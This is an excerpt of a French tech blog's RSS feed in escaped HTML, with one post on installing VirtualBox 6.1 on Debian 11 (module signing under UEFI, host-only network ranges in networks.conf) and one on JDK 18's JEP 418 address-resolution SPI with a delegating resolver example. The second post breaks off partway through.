&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#installation&quot;&gt;Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mise_à_jour_des_modules_si_uefi_est_activé&quot;&gt;Mise à jour des modules si UEFI est activé.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#problèmes_avec_le_hôte_seulement&quot;&gt;Problèmes avec le hôte seulement&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#diagnostique&quot;&gt;Diagnostique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelle_règle&quot;&gt;Nouvelle règle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#configuration&quot;&gt;Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#vérification&quot;&gt;Vérification&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Debian 11 (Bullseye) a été publié &lt;a href=&quot;https://www.debian.org/News/2021/20210814&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;le 14 août 2021&lt;/a&gt;. Quelques jours après, j&amp;#8217;en profite pour mettre à jour mon PC. Je m&amp;#8217;aperçois que VirtualBox ne fournit pas de package à jour. Le package existant fait référence à la précédente version avec des packages non fournis ou renommées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il faudra attendre que l&amp;#8217;équipe projet travaille à mettre à jour les packages.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Les installations manuelles à partir d&amp;#8217;une archive ne sont pas concluantes. Le fait de vouloir garder l&amp;#8217;UEFI ne simplifie pas la tâche.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;version_de_novembre&quot;&gt;Version de novembre&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le 22 novembre est publié la version 6.1.30. Comme annoncé par le projet, c&amp;#8217;est une version de maintenance. Ce qui est intéressant pour nous, c&amp;#8217;est qu&amp;#8217;elle intègre cette fonctionnalité :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;admonitionblock note&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td class=&quot;icon&quot;&gt;
&lt;div class=&quot;title&quot;&gt;Note&lt;/div&gt;
&lt;/td&gt;
&lt;td class=&quot;content&quot;&gt;
Linux host: For all distribution specific packages (deb/rpm format) fix the packaging so that the feature for unattended installation of guest OSes works
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est à dire que les packages ont été mis à jour pour les distribution Linux dont Debian.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;installation&quot;&gt;Installation&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Ajoutez ou Mettez à jour le fichier &lt;strong&gt;/etc/apt/sources.list.d/virtualbox.list&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;deb [arch=amd64] http://download.virtualbox.org/virtualbox/debian bullseye contrib
# deb-src [arch=amd64] http://download.virtualbox.org/virtualbox/debian bullseye contrib&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Mise à jour des packages&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt update&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Installation de la version 6.1&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt install virtualbox-6.1&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Pour rappel, la fin de support pour VirtualBox 6.0 est juillet 2020.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;mise_à_jour_des_modules_si_uefi_est_activé&quot;&gt;Mise à jour des modules si UEFI est activé.&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si, comme moi, vous avez gardé UEFI actif, il est nécessaire de signer les modules virtualbox.
Pour cela, j&amp;#8217;ai un script qui permet de le faire :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./sign-vbox-modules&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Passphrase for ./MOK.priv ******
[sign-vbox-modules] Signing /lib/modules/5.10.0-9-amd64/misc/vboxdrv.ko...
[sign-vbox-modules] Signing /lib/modules/5.10.0-9-amd64/misc/vboxnetadp.ko...
[sign-vbox-modules] Signing /lib/modules/5.10.0-9-amd64/misc/vboxnetflt.ko...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour information, le contenu du script est disponible &lt;a href=&quot;https://gist.github.com/lilian-benoit/1d86a50620ca560854631ff5008e4533&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sur github&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour plus d&amp;#8217;informations, je vous invite à lire mon billet &lt;a href=&quot;/2020/02/SecureBoot-Signer-ses-modules-et-pourquoi.html&quot;&gt;SecureBoot Signer ses modules et pourquoi ?&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Suite à l&amp;#8217;exécution, il reste à charger les modules :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mobprobe vboxdrv
mobprobe vboxnetadp
mobprobe vboxnetflt&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;problèmes_avec_le_hôte_seulement&quot;&gt;Problèmes avec le hôte seulement&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, si vous avez l&amp;#8217;habitude d&amp;#8217;utiliser le réseau hôte (host-only), vous ne pourrez plus accèder à vos machines.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;diagnostique&quot;&gt;Diagnostique&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vous pourrez le voir au niveau du système avec la commande &lt;code&gt;ip a&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;...
14: vboxnet0: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:02 brd ff:ff:ff:ff:ff:ff
15: vboxnet1: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:01 brd ff:ff:ff:ff:ff:ff&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons constater qu&amp;#8217;il n&amp;#8217;y a pas (ou plus) d&amp;#8217;adresse IP associée aux réseaux virtualbox (vboxnet).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;nouvelle_règle&quot;&gt;Nouvelle règle&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour comprendre ce qui te passe, il faut regarder la version précédente, celle publié le 19 octobre, soit la version 6.1.28. Pourquoi parlez de cette version plus ancienne ? car il y a une modification qui a un impact sur vos VMs.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;admonitionblock note&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td class=&quot;icon&quot;&gt;
&lt;div class=&quot;title&quot;&gt;Note&lt;/div&gt;
&lt;/td&gt;
&lt;td class=&quot;content&quot;&gt;
Network: More administrative control over host-only network ranges to prevent trouble due to misconfiguration, see user manual. Check updated documentation or your VMs may stop working!
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, à partir de cette version, les adresses IP autorisées sont uniquement les adresses &lt;code&gt;192.168.56.0/21&lt;/code&gt; &lt;strong&gt;par défaut&lt;/strong&gt;. Pour IPv6, les adresses lien locaux sont autorisées. Vous devez modifier les adresses IP de vos VMs pour être dans la plage concernée ou sinon il faut passer par de la configuration.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;configuration&quot;&gt;Configuration&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, cela reste néanmoins configurable. Si vous souhaitez un réseau précis, il suffit de préciser dans le fichier &lt;code&gt;/etc/vbox/networks.conf&lt;/code&gt;, en le créant s&amp;#8217;il n&amp;#8217;existe pas. Pour cela, il faut écrire les lignes de cette manière&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt; * 192.168.32.0/24&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons trois règles :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nous pouvons configurer autant de ligne que nous le souhaitons.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si la ligne commence par le caractères &lt;strong&gt;#&lt;/strong&gt;, elle sera ignorée.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;De même, si le fichier existe et qu&amp;#8217;il y a aucun plage d&amp;#8217;adresse, cela implique que le réseau hôte uniquement est désactivé.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;vérification&quot;&gt;Vérification&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour vérifier, nous pouvons utiliser de nouveau la commande &lt;code&gt;ip a&lt;/code&gt; et nous avons bien l&amp;#8217;adresse IP associé au réseau (vboxnet0 dans l&amp;#8217;exemple).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;14: vboxnet0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:00 brd ff:ff:ff:ff:ff:ff
    inet 192.168.32.1/24 brd 192.168.32.255 scope global vboxnet0
       valid_lft forever preferred_lft forever
    inet6 fe80::800:27ff:fe00:0/64 scope link
       valid_lft forever preferred_lft forever
15: vboxnet1: &amp;lt;BROADCAST,MULTICAST&amp;gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 0a:00:27:00:00:01 brd ff:ff:ff:ff:ff:ff&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.debian.org/News/2021/20210814&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Publication de Debian 11 &quot;Bullseye&quot;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.virtualbox.org/wiki/Changelog-6.1#v30&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Changements VirtualBox 6.1&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.virtualbox.org/manual/UserManual.html#network_nat_service&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Manuel VirtualBox&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/lilian-benoit/1d86a50620ca560854631ff5008e4533&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Script sign-vbox-modules sur github&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 418, Internet-Address Resolution SPI</title>
      <link>https://www.lilian-benoit.fr/2021/11/JEP-418-Internet-Address-Resolution-SPI.html</link>
      <pubDate>dim., 21 nov. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/11/JEP-418-Internet-Address-Resolution-SPI.html</guid>
      	<description>
	&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#les_motivations&quot;&gt;Les motivations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#comment_cela_marche&quot;&gt;Comment cela marche ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mise_en_oeuvre&quot;&gt;Mise en oeuvre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;!-- toc disabled --&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Parmi les nouvelles fonctionnalités du JDK 18, nous avons la mise en place d&amp;#8217;une SPI (Service Provider Interface) pour la résolution d&amp;#8217;adresses Internet.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le développeur utilise la classe &lt;code&gt;java.net.InetAddress&lt;/code&gt; pour la résolution d&amp;#8217;adresse Internet. Il a pour cela les méthodes suivantes à notre disposition :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddress::getAllByName()&lt;/code&gt; permet de faire une recherche par nom. Elle retourne un tableau d&amp;#8217;adresses IP&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddress::getByName()&lt;/code&gt; permet de faire une recherche par nom. Elle retourne la première adresse IP de la précédente liste.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour une adresse Internet, nous avons les méthodes suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddress::getCanonicalHostName()&lt;/code&gt; permet de faire une résolution inverse (Adresse IP vers le nom).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddress::getHostName()&lt;/code&gt; permet de faire une résolution inverse si c&amp;#8217;est nécessaire.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Actuellement, la résolution des noms sur le réseau IP est réalisée à partir des fonctions systèmes natives afin d&amp;#8217;interroger les serveurs DNS (Domain Name Server).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;les_motivations&quot;&gt;Les motivations&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les principales sont les suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Projet Loom : La résolution de noms utilise les appels systèmes qui bloquent le traitement. Cela va à l&amp;#8217;encontre du principe de thread virtuel. Il faut passer par des solutions alternatives afin d&amp;#8217;interroger les serveurs DNS.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter qu&amp;#8217;il est possible d&amp;#8217;interroger ces serveurs à l&amp;#8217;aide de l&amp;#8217;API JNDI.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nouveaux protocoles : Au delà du DNS, des nouveaux protocoles émergent comme DNS au dessus de HTTPS.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Personnalisation : Avoir la maitrise fine de la résolution, utiliser une bibliothèque adéquate.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tests : Il est ainsi possible de &quot;moquer&quot; la résolution DNS pour les tests.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;comment_cela_marche&quot;&gt;Comment cela marche ?&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, nous avons des nouvelles classes dans le package &lt;code&gt;java.net.spi&lt;/code&gt;:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddressResolver&lt;/code&gt; : C&amp;#8217;est l&amp;#8217;interface qui réalise concrêtement la résolution du nom. Elle est récupérer en passant par la fabrique ci-dessus. Elle définie deux méthodes :&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface InetAddressResolver {
    String lookupByAddress(byte[] addr);

    Stream&amp;lt;InetAddress&amp;gt; lookupByName(String host, LookupPolicy lookupPolicy)

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddressResolver.LookupPolicy&lt;/code&gt; : C&amp;#8217;est une classe qui permet de définir les caractéristiques de la résolution. Par exemple, IPV4, IPV4_FIRST, IPV6 et IPV6_FIRST&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddressResolverProvider&lt;/code&gt; : C&amp;#8217;est la classe abstraite qui renvoie le résolveur sous le modèle des fabriques. Ce fournisseur est activé par le biais du &lt;code&gt;ServiceLoader&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public abstract class InetAddressResolverProvider {
    public abstract InetAddressResolver get(Configuration config);

    public abstract String name();
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;InetAddressResolverProvider.Configuration&lt;/code&gt; : C&amp;#8217;est une interface qui permet de récupérer l&amp;#8217;implémentation par défaut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface InetAddressResolverProvider.Configuration {
    InetAddressResolver builtinResolver()

    String lookupLocalHostName()
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;mise_en_oeuvre&quot;&gt;Mise en oeuvre&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour la mise en oeuvre, nous avons définir notre fournisseur qui fera tout simplement de la délégation vis à vis du fournisseur par défaut de OpenJDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela nous allons commencer avec une nouvelle classe pour notre résolveur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class MonResolveurDNS implements InetAddressResolver  { &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;

	private InetAddressResolver delegate; &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;

	public MonResolveurDNS(InetAddressResolver delegate) {
		this.delegate = delegate;
	}

	@Override
	public Stream&amp;lt;InetAddress&amp;gt; lookupByName(String host, LookupPolicy lookupPolicy) throws UnknownHostException  { &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;
		System.out.println(&quot;[INFO ] : Appel de la méthode &apos;MonResolveurDNS::lookupByName.&quot;);
		return this.delegate.lookupByName(host, lookupPolicy);
	}

	@Override
	public String lookupByAddress(byte[] addr) throws UnknownHostException { &lt;b class=&quot;conum&quot;&gt;(4)&lt;/b&gt;
        System.out.println(&quot;[INFO ] : Appel de la méthode &apos;MonResolveurDNS::lookupByAddress.&quot;);
		return delegate.lookupByAddress(addr);
	}

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Nous réalisons l&amp;#8217;interface &lt;code&gt;java.net.spi.InetAddressResolverProvider&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nous définissons un attribut avec le résolveur que nous souhaitons utiliser.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nous écrivons le code pour la méthode &lt;code&gt;lookupByName&lt;/code&gt; de l&amp;#8217;interface&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nous écrivons le code pour la méthode &lt;code&gt;lookupByAddress&lt;/code&gt; de l&amp;#8217;interface&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour utiliser notre résolveur, il faut définir un fournisseur via l&amp;#8217;interface &lt;code&gt;InetAddressResolverProvider&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class MonResolveurDNSProvider extends InetAddressResolverProvider { &lt;b class=&quot;conum&quot;&gt;(1)&lt;/b&gt;

	@Override
	public InetAddressResolver get(Configuration configuration) { &lt;b class=&quot;conum&quot;&gt;(2)&lt;/b&gt;
		System.out.println(&quot;[INFO ] : Le fournisseur &apos;MonResolveurDNSProvider&apos; est chargé.&quot;);
		return new MonResolveurDNS(configuration.builtinResolver()); &lt;b class=&quot;conum&quot;&gt;(3)&lt;/b&gt;
	}

	@Override
	public String name() {
		return &quot;MonResolveurDNSProvider&quot;;
	}

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;colist arabic&quot;&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Nous réalisons l&amp;#8217;interface &lt;code&gt;java.net.spi.InetAddressResolverProvider&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Principe de fabrique qui renvoie une instance &lt;code&gt;InetAddressResolver&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A partir de l&amp;#8217;instance &lt;strong&gt;configuration&lt;/strong&gt;, nous povons récupérer le résolveur par défaut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme indiqué précédemment, c&amp;#8217;est le &lt;code&gt;ServiceLoader&lt;/code&gt; qui est utilisé pour récupérer le ou les fournisseurs.
Pour cela, il est nécessaire de définir un fichier texte avec les règles suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Fichier présent dans le répertoire META-INF/services&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
